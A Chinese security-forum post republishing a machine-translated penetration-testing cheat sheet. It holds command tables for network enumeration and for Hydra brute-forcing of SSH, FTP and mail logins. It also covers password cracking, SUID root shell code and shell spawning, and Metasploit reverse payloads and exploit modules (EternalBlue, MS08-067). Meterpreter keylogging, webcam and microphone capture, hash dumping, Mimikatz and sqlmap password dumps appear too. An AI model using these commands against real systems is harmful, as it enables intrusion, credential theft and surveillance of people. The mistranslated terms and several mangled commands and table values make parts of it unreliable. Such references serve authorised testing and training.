安全矩阵

 找回密码
 立即注册
搜索
查看: 873|回复: 0

非常全面的渗透测试备忘录:包含工具、技术和技巧

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-9-9 09:21:10 | 显示全部楼层 |阅读模式
本帖最后由 alyssa 于 2023-9-9 09:31 编辑

这一份备忘录,有助于你全面了解渗透测试,是让你在渗透测试领域快速学习、参考、熟悉命令和技术的首选。
无论您是新手还是经验丰富的渗透测试人员,此备忘单都拥有您在安全评估世界中检索所需的一切。探索工具、方法和见解,以实现有效的侦察、枚举、权限提升、密码破解、漏洞利用研究等。利用这一宝贵的资源提升您的渗透测试技能!
侦察和枚举NMAP 命令
Nmap(“网络映射器”)是一个免费的开源实用程序,用于网络发现和安全审计。它是系统和网络管理员用于网络清单、管理服务升级计划以及监控主机或服务正常运行时间等任务的多功能工具。Nmap在所有主要的计算机操作系统上运行,官方二进制包可用于Linux,Windows和Mac OS X。
[td]
命令
描述
nmap -v -sS -A -T4 targetNmap 详细扫描、运行同步隐身、T4 计时、操作系统和服务版本信息、跟踪路由和针对服务的脚本。
ping sweep sudo nmap -pn target对目标网络执行 ping 扫描以查看所有可用 IP。
nmap -v -sS -p–A -T4 target如上所述,但扫描所有TCP端口(需要更长的时间)。
nmap -v -sU -sS -p- -A -T4 target如上所述,但扫描所有TCP端口和UDP扫描(需要更长的时间)。
nmap -v -p 445 –script=smb-check-vulns --script-args=unsafe=1 192.168.1.X用于扫描易受攻击的 SMB 服务器的 Nmap 脚本。
nmap localhost显示当前正在使用的所有端口。
ls /usr/share/nmap/scripts/* | grep ftp在 nmap 脚本中搜索关键字。

SMB 枚举
在计算机网络中,服务器消息块 (SMB) 作为应用层网络协议运行,主要用于提供对文件、打印机和串行端口的共享访问。
命令
描述
nbtscan 192.168.1.0/24发现子网上的Windows / Samba服务器,查找Windows MAC地址,netbios名称和发现客户端工作组/域。
enum4linux -a target-ip执行所有操作,运行除基于字典的共享名称猜测之外的所有选项(查找Windows客户端域/工作组)。
smbclient -L target-ip列出目标计算机上可用的所有 SMB 共享。
smbget -R smb://target-ip/share以递归方式从 SMB 共享下载文件。
rpcclient -U "" target-ip使用空用户名连接到 SMB 服务器并列出可用命令。
showmount -e target-ip显示目标计算机上的可用共享,对 NFS 很有用。
smbmap -H target-ip显示目标的共享权限。
smbstatus列出当前的 Samba 连接。在目标计算机上运行时很有用。
其他主机发现方法
不使用 Nmap 的其他主机发现方法。
命令
描述
netdiscover -r 192.168.1.0/24从 ARP 发现子网上的 IP、MAC 地址和 MAC 供应商。
arp-scan --interface=eth0 192.168.1.0/24ARP 扫描以发现本地网络上的主机。
fping -g 192.168.1.0/24将 ICMP 回显请求发送到多个主机以检查它们是否处于活动状态。
masscan -p1-65535,U:1-65535 192.168.1.0/24 --rate=1000以高速率扫描所有端口,这对于初始发现非常有用。

蟒蛇本地网络服务器
Python 本地 Web 服务器命令,方便在攻击机器上提供 shell 和漏洞利用。
命令
描述
python -m SimpleHTTPServer 80运行一个基本的HTTP服务器,非常适合提供shell等。
python3 -m http.server 80使用 Python 3 运行基本的 HTTP 服务器。
python -m SimpleHTTPServer 80 --bind 192.168.1.2将服务器绑定到特定的 IP 地址。


装载文件共享
如何挂载NFS / CIFS,Windows和Linux文件共享。
命令
描述
mount 192.168.1.1:/vol/share /mnt/nfs将 NFS 共享装载到 。/mnt/nfs
mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs在 Linux 上安装 Windows CIFS / SMB 共享。/mnt/cifs
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no从命令行在 Windows 上装载 Windows 共享。
apt-get install smb4k -y在Kali上安装smb4k,这是用于浏览SMB共享的有用Linux GUI。
smbclient -L //192.168.1.X -U username列出 Windows 计算机上可用的 SMB 共享。


基本指纹
设备指纹或机器指纹或浏览器指纹是为识别目的而收集的有关远程计算设备的信息。
命令
描述
nc -v 192.168.1.1 25通过显示的横幅进行基本版本控制/指纹识别。
telnet 192.168.1.1 25基本版本控制/指纹识别的另一种方法。
curl -I http://192.168.1.1获取用于对 Web 服务器进行指纹识别的 HTTP 标头。
nmap -O 192.168.1.1使用 Nmap 执行操作系统检测。
whatweb 192.168.1.1确定目标上使用的 Web 技术。


SNMP 枚举
SNMP 枚举是使用 SNMP 枚举目标系统上的用户帐户的过程。
命令
描述
snmpcheck -t 192.168.1.X -c publicSNMP 枚举
snmpwalk -c public -v1 192.168.1.X 1SNMP 枚举
snmpenum -t 192.168.1.XSNMP 枚举
onesixtyone -c names -i hostsSNMP 枚举
snmpbulkwalk -v2c -c public -Cn0 -Cr10 192.168.1.X批量 SNMP 枚举


DNS 区域传输
命令
描述
nslookup -> set type=any -> ls -d blah.com视窗 DNS 区域传输
dig axfr blah.com @ns1.blah.comLinux DNS 区域传输
host -l blah.com ns1.blah.com另一种 Linux DNS 区域传输方法


DNSRecon
DNSRecon 提供了执行各种 DNS 枚举任务的能力。
[size=15.008px]dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration
命令
描述
nikto -h 192.168.1.1对目标执行 nikto 扫描
dirbuster通过 GUI 配置,CLI 输入大部分时间不起作用
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt目录暴力破解与破坏者
wpscan --url http://192.168.1.1WordPress漏洞扫描程序
joomscan -u http://192.168.1.1乔姆拉漏洞扫描程序
uniscan -u http://192.168.1.1 -qwedsUniscan 自动漏洞扫描程序
curl -I http://192.168.1.1使用 curl 获取 HTTP 标头
nmap -p80 --script http-enum 192.168.1.1用于 HTTP 枚举的 Nmap 脚本
whatweb http://192.168.1.1识别网站上使用的技术
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZFuzzing HTTP with wfuzz


数据包检测
命令
描述
tcpdump tcp port 80 -w output.pcap -i eth0捕获端口 80 上的数据包
'tcpdump -i eth0 'port 443 and (tcp-syntcp-ack)!=0''
wireshark -k -i <interface>在特定界面上打开 Wireshark
tshark -i eth0 -f "tcp port 80"在端口 80 上使用 tshark 捕获数据包


用户名枚举SMB 用户枚举
命令
描述
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX枚举来自 SMB 的用户
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtRID 周期 SMB /枚举来自 SMB 的用户
enum4linux -U 192.168.XXX.XXX使用 enum4linux 枚举 SMB 用户名


SNMP 用户枚举
命令
描述
'snmpwalk public -v1 192.168.X.XXX 1格雷普 77.1.2.25
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX从 SNMP 枚举用户
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt搜索具有 nmap、grepable 输出的 SNMP 服务器


密码单词列表
命令
描述
/usr/share/wordlists卡利词表
wget https://github.com/danielmiessle ... ist-top-1000000.txt从 GitHub 下载热门词表

HackToday博客上的大量单词列表
暴力破解服务水螅FTP 暴力破解[
命令
描述
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V九头蛇FTP蛮力


POP3 蛮力
命令
描述
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V九头蛇POP3蛮力


SMTP 暴力破解
命令
描述
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V九头蛇SMTP蛮力


SSH 暴力破解
命令
描述
hydra -l root -P /usr/share/wordlistsnmap.lst 192.168.X.XXX ssh九头蛇 SSH 蛮力
用于限制并发连接,例如:-t-t 15


密码破解
John The Ripper – JTR

命令
描述
john –wordlist=/usr/share/wordlists/rockyou.txt hashesJTR密码破解
john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txtJTR强制使用单词列表进行解密破解
john –format=descrypt hash –showJTR强制解密暴力破解


Hashcat
命令
描述
hashcat -m 0 -a 0 hash.txt wordlist.txt哈希猫MD5破解
hashcat -m 1000 -a 0 hash.txt wordlist.txt哈希猫NTLM破解


漏洞利用研究
命令
描述
'搜索视窗 2003grep -i local'
site:exploit-db.com exploit kernel <= 3谷歌搜索内核漏洞 exploit-db.com
grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*在 Metasploit 模块中搜索 Windows 7 漏洞
msfconsole -q -x "search name:windows type:exploit"Search Metasploit for Windows exploits


编译漏洞确定 C 代码是用于 Windows 还是 Linux
头文件
操作系统
process.h, string.h, winbase.h, windows.h, winsock2.h窗户
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.hLinux目录


构建漏洞利用 GCC
命令
描述
gcc -o exploit exploit.c基本 GCC 编译
gcc -Wall -Wextra exploit.c -o exploit使用所有警告和附加内容进行编译


GCC 在 32Bit Kali 上编译 64 位漏洞
命令
描述
gcc -m32 exploit.c -o exploit在 32 位 Linux 上交叉编译 64 位二进制文件


在 Linux 上编译 Windows .exe
命令
描述
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe在 Linux 上编译 Windows .exe
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe在 Linux 上编译 64 位 Windows .exe
  1. <b>苏伊德二进制</b><b>SUID C Shell for /bin/bash</b>int main(void){
  2.        setresuid(0, 0, 0);
  3.        system("/bin/bash");
  4. }
  5. <b>SUID C Shell for /bin/sh</b>int main(void){
  6.        setresuid(0, 0, 0);
  7.        system("/bin/sh");
  8. }
复制代码


构建 SUID 外壳二进制文件
命令
描述
gcc -o suid suid.c编译 SUID 外壳
gcc -m32 -o suid suid.c编译 32 位 SUID 外壳
TTY贝壳Python TTY Shell Trick
[size=15.008px]python -c 'import pty;pty.spawn("/bin/bash")'
[size=15.008px]python3 -c 'import pty;pty.spawn("/bin/bash")'
生成互动 sh 外壳
[size=15.008px]/bin/sh -i
生成 Perl TTY 外壳
[size=15.008px]perl -e 'exec "/bin/sh";'
生成红宝石 TTY 外壳
[size=15.008px]ruby -e 'exec "/bin/sh"'
生成路亚TTY外壳
[size=15.008px]lua -e 'os.execute("/bin/sh")'
从 Vi 中生成 TTY 壳
[size=15.008px]:!bash
从 NMAP 生成 TTY 外壳
[size=15.008px]!sh
从awk生成TTY外壳
[size=15.008px]awk 'BEGIN {system("/bin/sh")}'
从索卡特生成TTY壳
[size=15.008px]socat file:tty,raw,echo=0 tcp-listen:4444
Metasploit仪表有效载荷Windows 反向计量器有效负载
[size=15.008px]set payload windows/meterpreter/reverse_tcp
Windows VNC Meterpreter payload
[size=15.008px]set payload windows/vncinject/reverse_tcp
[size=15.008px]set ViewOnly false
Linux Reverse Meterpreter payload
[size=15.008px]set payload linux/meterpreter/reverse_tcp
安卓反向仪表有效载荷
[size=15.008px]set payload android/meterpreter/reverse_tcp
[size=15.008px]
仪表备忘单
命令
描述
upload file c:\\windows将文件上传到视窗目标
download c:\\windows\\repair\\sam /tmp从视窗目标下载文件
execute -f c:\\windows\temp\exploit.exe在目标上运行.exe
execute -f cmd -c使用 cmd 外壳创建新通道
ps显示流程
shell在目标上获取外壳
getsystem尝试在目标上提升权限
hashdump在目标上转储哈希
portfwd add –l 3389 –p 3389 –r target创建转发到目标计算机的端口
portfwd delete –l 3389 –p 3389 –r target删除端口转发
screenshot捕获目标计算机的屏幕截图
keyscan_start启动键盘记录器
keyscan_dump转储收集的击键
webcam_snap拍摄网络摄像头快照
record_mic录制麦克风
enum_chrome枚举 Chrome 浏览器数据


常见元模块Remote Windows Metasploit Modules (exploits)
命令
描述
use exploit/windows/smb/ms08_067_netapiMS08_067 Windows 2k, XP, 2003 远程漏洞利用
use exploit/windows/dcerpc/ms06_040_netapiMS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_indexMS09_050 Windows Vista SP1/SP2 和 Server 2008 (x86) 远程攻击
use exploit/windows/smb/ms17_010_eternalblueMS17_010 永恒之蓝SMB远程视窗内核池损坏


Local Windows Metasploit Modules (exploits)
命令
描述
use exploit/windows/local/bypassuac在 Windows 7 上绕过 UAC + 设置目标 + 架构,x86/64
use exploit/windows/local/ms10_015_kitrap0dMS10_015 Kitrap0d 本地权限提升


辅助元模块
命令
描述
use auxiliary/scanner/http/dir_scannerMetasploit HTTP 目录扫描程序
use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS漏洞扫描程序
use auxiliary/scanner/mssql/mssql_loginMetasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_versionMetasploit MySQL Version Scanner
use auxiliary/scanner/oracle/oracle_loginMetasploit Oracle Login Module


Metasploit Powershell Modules
命令
描述
use exploit/multi/script/web_deliveryMetasploit动力壳有效载荷交付模块
post/windows/manage/powershell/exec_powershell通过会话上传和运行 Powershell 脚本
use exploit/multi/http/jboss_maindeployerMetasploit JBOSS deploy
use exploit/windows/mssql/mssql_payloadMetasploit MSSQL payload


后漏洞利用窗口元模块
命令
描述
run post/windows/gather/win_privsMetasploit显示当前用户的权限
use post/windows/gather/credentials/gppMetasploit抓取GPP保存的密码
load mimikatz -> wdigestMetasploit load Mimikatz
run post/windows/gather/local_admin_search_enum标识提供的域用户具有管理访问权限的其他计算机


联网TTL 指纹识别
操作系统
TTL 大小
窗户128
Linux目录64
索拉里斯255
思科/网络255


IPv4有类的 IP 范围
注意:A、B、C 类已弃用
[td]
IP 地址范围
A类0.0.0.0 – 127.255.255.255
B类128.0.0.0 – 191.255.255.255
C类192.0.0.0 – 223.255.255.255
D类224.0.0.0 – 239.255.255.255
E 类240.0.0.0 – 255.255.255.255


IPv4 专用地址范围
范围
A类10.0.0.0 – 10.255.255.255
B类172.16.0.0 – 172.31.255.255
C类192.168.0.0 – 192.168.255.255
回送127.0.0.0 – 127.255.255.255


IPv4 子网备忘单
网段
十进制掩码
主机数量
/31255.255.255.2541 主机
/30255.255.255.2522 主机
/29255.255.255.2486 主机
/28255.255.255.24014 主机
/27255.255.255.22430 主机
/26255.255.255.19262 主机
/25255.255.255.128126 主机
/24255.255.255.0254 主机
/23255.255.254.0512 主机
/22255.255.252.01022 主机
/21255.255.248.02046 主机
/20255.255.240.04094 主机
/19255.255.224.08190 主机
/18255.255.192.016382 主机
/17255.255.128.032766 主机
/16255.255.0.065534 主机
/15255.254.0.0131070 主机
/14255.252.0.0262142 主机
/13255.248.0.0524286 主机
/12255.240.0.01048674 主机
/11255.224.0.02097150 主机
/10255.192.0.04194302 主机
/9255.128.0.08388606 主机
/8255.0.0.016777214 主机


ASCII 表备忘单
对于Web应用程序渗透测试很有用,或者如果您被困在火星上并需要与NASA通信。
[td]
ASCII
Character
ASCII
Character
ASCII
Character
ASCII
Character
x00Null Bytex08BSx09TABx0aLF
x0dCRx1bESCx20SPCx21!
x22"x23#x24$x25%
x26&x27`x28(x29)
x2a*x2b+x2c,x2d-
x2e.x2f/x300x311
x322x333x344x355
x366x377x388x399
x3a:x3b;x3c<x3d=
x3e>x3f?x40@x41A
x42Bx43Cx44Dx45E
x46Fx47Gx48Hx49I
x4aJx4bKx4cLx4dM
x4eNx4fOx50Px51Q
x52Rx53Sx54Tx55U
x56Vx57Wx58Xx59Y
x5aZx5b[x5c\x5d]
x5e^x5f_x60`x61a
x62bx63cx64dx65e
x66fx67gx68hx69i
x6ajx6bkx6clx6dm
x6enx6fox70px71q
x72rx73sx74tx75u
x76vx77wx78xx79y
x7az







思科 IOS 命令
命令
描述
enable进入启用模式
conf t简称,配置终端
(config)# interface fa0/0配置快速以太网 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255将 IP 添加到 fa0/0
(config-if)# line vty 0 4配置 vty 线路
(config-line)# login思科设置远程登录密码
(config-line)# password YOUR-PASSWORD设置远程登录密码
# show running-config显示内存中加载的正在运行的配置
# show startup-config显示启动配置
# show version显示思科 IOS 版本
# show session显示打开的会话
# show ip interface显示网络接口
# show interface e0显示详细的接口信息
# show ip route显示路线
# show access-lists显示访问列表
# dir file systems显示可用文件
# dir all-filesystems文件信息
# dir /all显示已删除的文件
# terminal length 0端子输出无限制
# copy running-config tftp将运行配置复制到 tftp 服务器
# copy running-config startup-config将启动配置复制到运行配置


密码学哈希长度
散 列
大小
MD516 字节
SHA-120 字节
SHA-25632 字节
SHA-51264 字节


哈希示例
散 列
MD5 哈希示例8743b52063cd84097a65d1633f5c74f5
SHA1 哈希示例B89EAAC7E61417341b710b727768294d0e6a277b
SHA-256127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f


SQLMap 示例
命令
描述
sqlmap -u http://meh.com –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3自动 sqlmap 扫描
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read="/var/www/blah.php"有针对性的 sqlmap 扫描
sqlmap -u "http://meh.com/meh.php?id=1" –dbms=mysql –tech=U –random-agent –dump使用 MySQL 后端扫描 URL 以进行联合 + 基于错误的注入,并使用随机用户代理 + 数据库转储
sqlmap -o -u "http://meh.com/form/" –forms用于注入的 SQLMap 检查表单
sqlmap -o -u "http://meh/vuln-form" –forms -D database-name -T users –dump数据库名称上的表用户的 SQLMap 转储和破解哈希




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:40 , Processed in 0.017306 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表